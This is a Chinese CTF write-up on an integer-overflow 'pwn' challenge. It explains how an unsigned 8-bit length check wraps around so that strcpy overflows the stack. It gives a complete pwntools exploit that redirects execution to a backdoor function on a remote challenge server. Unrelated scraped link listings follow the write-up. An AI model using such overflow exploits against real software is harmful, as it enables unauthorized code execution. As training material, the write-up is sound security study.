file,checksec:

main函数:

login函数:



程序先让用户输入用户名,并存储到变量 s 中,之后再从 s 中读取 0x19 位,并打印出来。然后让用户输入密码,读取 0x199 个字节存储到 buf 缓冲区,然后检查 buf。

check_passwd函数:



程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:

无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。

查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108

因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *
from LibcSearcher import * #start
r = remote('61.147.171.103',59035)
elf = ELF('./pwn')
context.log_level = 'debug' #params
backdoor_addr = elf.symbols['what_is_this'] #attack
payload = b'a'*(0x14+4) + p32(backdoor_addr)
payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`
r.sendlineafter(b'choice',b'1')
r.sendlineafter(b'username',b'111')
r.sendlineafter(b'passwd',payload)
r.interactive()

PWN手的成长之路-19-int_overflow的更多相关文章

  1. (转)Python成长之路【第九篇】:Python基础之面向对象

    一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...

  2. 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路

    我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...

  3. OpenCV成长之路:图像直方图的应用

    OpenCV成长之路:图像直方图的应用 2014-04-11 13:57:03 标签:opencv 图像 直方图 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否 ...

  4. OpenCV成长之路:图像滤波

    http://ronny.blog.51cto.com/8801997/1394138 OpenCV成长之路:图像滤波 2014-04-11 14:28:44 标签:opencv 边缘检测 sobel ...

  5. OpenCV成长之路:直线、轮廓的提取与描述

    http://ronny.blog.51cto.com/8801997/1394139 OpenCV成长之路:直线.轮廓的提取与描述 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 . ...

  6. 架构师成长之路2.4-Kickstart文件剖析

    点击返回架构师成长之路 架构师成长之路2.4-Kickstart文件剖析 kickstart文件是一个简单的文本文件,它包含了一个项目列表,每个项目由一个关键字来识别. 创建kickstart文件注意 ...

  7. 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读

    本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...

  8. 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  9. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  10. redis成长之路——(二)

    redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...

随机推荐

  1. mac上homebrew重装手记

    今天因为种种原因,把mac上的homebrew玩坏了,需要重装的时候,发现遇到一堆问题,记录于此: 1. (官网)卸载方法 /usr/bin/ruby -e "$(curl -fsSL ht ...

  2. Java程序的代码保护:从混淆到虚拟化加固的技术演进

    一.Java语言的保护困局 Java作为诞生于1991年的经典编程语言,凭借"一次编译,到处运行"的跨平台特性和成熟的生态体系,持续占据TIOBE排行榜前列.其核心机制是将源码编译 ...

  3. 原版Win11系统总是断网频繁的问题

    有不少电脑用户在我们平常电脑的使用中,不管是浏览网页.看视频.玩游戏.办公等都是离不开网络连接的,但是近期有win11系统用户反映自己的电脑wifi间歇性断网,这是怎么回事呢?有没有什么方法可以解决呢 ...

  4. 深入浅出--从零开始建设k8s监控之thanos(六)

    前言 书接上文,目前环境已经做好了水平拆分,是这个样子的 本文使用thanos对这些prometheus进行数据汇聚,并且详细讨论一下thanos 环境准备 组件 版本 操作系统 Ubuntu 22. ...

  5. UNR 6. D2T2 神隐

    \(\mathbf{Part. -1}\) 这是一道交互题. hehe 蚤决定花费几天时间,游览下山市的最著名的旅游景点 -- 吓山. 吓山,以高低纵横,崔巍秀丽,错综复杂的地形闻名.据说无论用什么地 ...

  6. 携程apollp快速部署DVE集群

    1.环境准备: 这里只部署DEV环境 系统环境: 系统 ip ubuntu-18.04-live-server-amd64 192.168.1.112 ubuntu-18.04-live-server ...

  7. MyEMS开源能源管理系统核心代码解读009

    本期解读: 虚拟点计算方法:myems/myems-normalization/virtualpoint.py 这段代码是一个用于计算和更新虚拟点(virtual points)值的Python脚本. ...

  8. 【译】增强 Visual Studio 聊天中的代码库感知能力

    Visual Studio 中更智能的代码搜索:从 BM25 到语义搜索 在我们最新的 17.14.11 版本中,我们在代码探索以获取有意义的上下文方面取得了重大飞跃.我们新的远程语义搜索集成能帮助您 ...

  9. ChatGLM-6B 是一个开源的、支持中英双语的对话语言模型

    https://github.com/THUDM/ChatGLM-6B ChatGLM-6B 是一个开源的.支持中英双语的对话语言模型,基于 General Language Model (GLM)  ...

  10. UOS、Deepin安装了ibus 或fcitx之后个别应用无法输入中文

    如果你安装的是ibus sudo vim /etc/profile 添加一下环境变量export GTK_IM_MODULE=ibusexport QT_IM_MODULE=ibusexport XM ...